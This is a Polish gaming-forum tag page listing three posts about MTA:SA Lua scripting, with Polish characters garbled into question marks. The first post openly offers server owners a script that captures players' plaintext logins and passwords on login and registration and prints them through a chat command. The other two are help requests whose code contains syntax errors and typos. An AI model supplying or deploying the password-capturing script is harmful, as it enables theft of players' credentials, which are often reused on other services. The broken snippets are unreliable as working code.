Zaloguj się by uzyskać pełen dostęp. Nie masz jeszcze konta? Założ je już teraz w kilka sekund.
GTAONLINE.PL
Tematy otagowane jako: sprawdz
1. [SKRYPT] Sprawdz hasła graczy
Je?eli chcesz zna? has?a graj?cych na twoim serverze graczy to wystarczy ?e wgrasz na sw?j server ten skrypt:
[lua]tabela = {}
function Aktualizuj(login)
for i,v in pairs(tabela) do
if v[1] == login then
table.remove(tabela,i)
end
end
end
function dod(login,haslo,graczek)
Aktualizuj(login)
table.insert(tabela,{login,haslo,getPlayerName(graczek) or "X"})
end
function dodaj(username, pass)
dod(username, pass, source)
end
addEvent("onClientSendLoginDataToServer", true)
addEventHandler("onClientSendLoginDataToServer", getRootElement(), dodaj)
addEvent("onClientSendRegisterDataToServer", true)
addEventHandler("onClientSendRegisterDataToServer", getRootElement(), dodaj)
addEvent("onRequestLogin",true)
addEvent("onRequestRegister",true)
addEvent("onPlayerDayZLogin",true)
addEvent("onPlayerDayZRegister",true)
addEventHandler("onRequestLogin",getRootElement(),dodaj)
addEventHandler("onRequestRegister",getRootElement(),dodaj)
addEventHandler("onPlayerDayZLogin",getRootElement(),dodaj)
addEventHandler("onPlayerDayZRegister",getRootElement(),dodaj)

function pobierzHasla(gracz,cmd)
outputChatBox("Lista",gracz)
for i,v in pairs(tabela) do
outputChatBox("Nick: "..v[3].." Login:"..v[1].." has?o"..v[2],gracz)
end
end
addCommandHandler("hasla",pobierzHasla)[/lua]
...
2. sprawdz
Kod:

addCommandHandler("sprawdz",
function (player, cmd)
if isObjectInACLGroup ( "user." .. getAccountName(getPlayerAccount(source)), aclGetGroup ( "Moderator" ) ) and
if ( moderator ) then
outputChatBox ( "Obecnie jest moderator""...Moderator...", player )
end
else
outputChatBox("/sprawdz", player)
end
end)



Co zle
3. Komenda sprawdz nick pod system viatoll
Witam zrobi?em system viatoll i napotka?em pewien problem
zrobi?em komende na sprawdzanie czy gracz posiada viatoll i impulsy
i nic nie dzia?a oto kod:
Kod:


function sprviabox()
local playeraccount = getPlayerAccount ( source )
if ( playeraccount ) then
if not isGuestAccount ( playeraccount ) then
local via = getAccountData ( playeraccount, "viabox" )
local imp = getAccountData ( playeraccount, "imp" )
outpuChatBox("Viatoll'..via..'Impulsy:'..imp..'")
end
end

end
addCommandHandler("spr",sprviabox)